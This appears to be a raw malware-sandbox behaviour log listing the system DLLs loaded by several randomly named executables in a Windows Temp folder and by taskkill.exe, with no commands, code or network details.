Source: C:\Users\user\AppData\Local\Temp\QZRNZLINJW4FDHW89WOCWU0IJ.exe Section loaded: oleacc.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QZRNZLINJW4FDHW89WOCWU0IJ.exe Section loaded: atlthunk.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QZRNZLINJW4FDHW89WOCWU0IJ.exe Section loaded: textinputframework.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QZRNZLINJW4FDHW89WOCWU0IJ.exe Section loaded: coreuicomponents.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QZRNZLINJW4FDHW89WOCWU0IJ.exe Section loaded: coremessaging.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QZRNZLINJW4FDHW89WOCWU0IJ.exe Section loaded: ntmarta.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QZRNZLINJW4FDHW89WOCWU0IJ.exe Section loaded: wintypes.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QZRNZLINJW4FDHW89WOCWU0IJ.exe Section loaded: wintypes.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QZRNZLINJW4FDHW89WOCWU0IJ.exe Section loaded: wintypes.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QZRNZLINJW4FDHW89WOCWU0IJ.exe Section loaded: wtsapi32.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QZRNZLINJW4FDHW89WOCWU0IJ.exe Section loaded: winsta.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QZRNZLINJW4FDHW89WOCWU0IJ.exe Section loaded: textshaping.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QZRNZLINJW4FDHW89WOCWU0IJ.exe Section loaded: propsys.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QZRNZLINJW4FDHW89WOCWU0IJ.exe Section loaded: windows.staterepositoryps.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QZRNZLINJW4FDHW89WOCWU0IJ.exe Section loaded: windows.fileexplorer.common.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QZRNZLINJW4FDHW89WOCWU0IJ.exe Section loaded: iertutil.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QZRNZLINJW4FDHW89WOCWU0IJ.exe Section loaded: explorerframe.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QZRNZLINJW4FDHW89WOCWU0IJ.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QZRNZLINJW4FDHW89WOCWU0IJ.exe Section loaded: edputil.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QZRNZLINJW4FDHW89WOCWU0IJ.exe Section loaded: urlmon.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QZRNZLINJW4FDHW89WOCWU0IJ.exe Section loaded: srvcli.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QZRNZLINJW4FDHW89WOCWU0IJ.exe Section loaded: netutils.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QZRNZLINJW4FDHW89WOCWU0IJ.exe Section loaded: appresolver.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QZRNZLINJW4FDHW89WOCWU0IJ.exe Section loaded: bcp47langs.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QZRNZLINJW4FDHW89WOCWU0IJ.exe Section loaded: slc.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QZRNZLINJW4FDHW89WOCWU0IJ.exe Section loaded: userenv.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QZRNZLINJW4FDHW89WOCWU0IJ.exe Section loaded: sppc.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QZRNZLINJW4FDHW89WOCWU0IJ.exe Section loaded: onecorecommonproxystub.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: apphelp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: winmm.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: wininet.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: winmm.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: wininet.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: winmm.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: wininet.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: iertutil.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: windows.storage.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: winhttp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: mswsock.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: iphlpapi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: winnsi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: urlmon.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: srvcli.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: netutils.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: uxtheme.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: propsys.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: edputil.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: windows.staterepositoryps.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: wintypes.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: appresolver.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: bcp47langs.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: slc.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: userenv.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: sppc.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: onecorecommonproxystub.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: onecoreuapcommonproxystub.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: apphelp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B7KMZCE66VGDP83M16.exe Section loaded: apphelp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B7KMZCE66VGDP83M16.exe Section loaded: winmm.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B7KMZCE66VGDP83M16.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B7KMZCE66VGDP83M16.exe Section loaded: wininet.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B7KMZCE66VGDP83M16.exe Section loaded: rstrtmgr.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B7KMZCE66VGDP83M16.exe Section loaded: ncrypt.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B7KMZCE66VGDP83M16.exe Section loaded: ntasn1.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B7KMZCE66VGDP83M16.exe Section loaded: iertutil.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B7KMZCE66VGDP83M16.exe Section loaded: windows.storage.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B7KMZCE66VGDP83M16.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B7KMZCE66VGDP83M16.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B7KMZCE66VGDP83M16.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B7KMZCE66VGDP83M16.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B7KMZCE66VGDP83M16.exe Section loaded: winhttp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B7KMZCE66VGDP83M16.exe Section loaded: mswsock.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B7KMZCE66VGDP83M16.exe Section loaded: iphlpapi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B7KMZCE66VGDP83M16.exe Section loaded: winnsi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B7KMZCE66VGDP83M16.exe Section loaded: urlmon.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B7KMZCE66VGDP83M16.exe Section loaded: srvcli.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B7KMZCE66VGDP83M16.exe Section loaded: netutils.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe Section loaded: apphelp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe Section loaded: winmm.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe Section loaded: winhttp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe Section loaded: webio.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe Section loaded: mswsock.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe Section loaded: iphlpapi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe Section loaded: winnsi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe Section loaded: dnsapi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe Section loaded: rasadhlp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe Section loaded: fwpuclnt.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe Section loaded: schannel.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe Section loaded: mskeyprotect.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe Section loaded: ntasn1.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe Section loaded: ncrypt.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe Section loaded: ncryptsslp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe Section loaded: msasn1.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe Section loaded: rsaenh.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe Section loaded: cryptbase.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe Section loaded: gpapi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe Section loaded: dpapi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe Section loaded: uxtheme.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe Section loaded: wbemcomn.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe Section loaded: userenv.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe Section loaded: version.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001103001\994a9a760e.exe Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1001103001\994a9a760e.exe Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1001103001\994a9a760e.exe Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1001103001\994a9a760e.exe Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1001103001\994a9a760e.exe Section loaded: rstrtmgr.dll
Source: C:\Users\user\AppData\Local\Temp\1001103001\994a9a760e.exe Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1001103001\994a9a760e.exe Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1001103001\994a9a760e.exe Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\1001103001\994a9a760e.exe Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1001103001\994a9a760e.exe Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1001103001\994a9a760e.exe Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1001103001\994a9a760e.exe Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1001103001\994a9a760e.exe Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1001103001\994a9a760e.exe Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1001103001\994a9a760e.exe Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1001103001\994a9a760e.exe Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1001103001\994a9a760e.exe Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1001103001\994a9a760e.exe Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\1001103001\994a9a760e.exe Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\1001103001\994a9a760e.exe Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\8Z5C764IBSHZ8A5U9SVRCREF.exe Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\8Z5C764IBSHZ8A5U9SVRCREF.exe Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\8Z5C764IBSHZ8A5U9SVRCREF.exe Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\8Z5C764IBSHZ8A5U9SVRCREF.exe Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\8Z5C764IBSHZ8A5U9SVRCREF.exe Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Local\Temp\8Z5C764IBSHZ8A5U9SVRCREF.exe Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\8Z5C764IBSHZ8A5U9SVRCREF.exe Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\8Z5C764IBSHZ8A5U9SVRCREF.exe Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\8Z5C764IBSHZ8A5U9SVRCREF.exe Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\8Z5C764IBSHZ8A5U9SVRCREF.exe Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\8Z5C764IBSHZ8A5U9SVRCREF.exe Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe Section loaded: webio.dll
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe Section loaded: schannel.dll
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe Section loaded: mskeyprotect.dll
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe Section loaded: ncryptsslp.dll
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe Section loaded: dpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe Section loaded: wbemcomn.dll
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe Section loaded: amsi.dll
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1001104001\fb9fc5d370.exe Section loaded: wsock32.dll
Source: C:\Users\user\AppData\Local\Temp\1001104001\fb9fc5d370.exe Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1001104001\fb9fc5d370.exe Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1001104001\fb9fc5d370.exe Section loaded: mpr.dll
Source: C:\Users\user\AppData\Local\Temp\1001104001\fb9fc5d370.exe Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1001104001\fb9fc5d370.exe Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1001104001\fb9fc5d370.exe Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1001104001\fb9fc5d370.exe Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1001104001\fb9fc5d370.exe Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1001104001\fb9fc5d370.exe Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1001104001\fb9fc5d370.exe Section loaded: wldp.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: kernel.appcore.dll
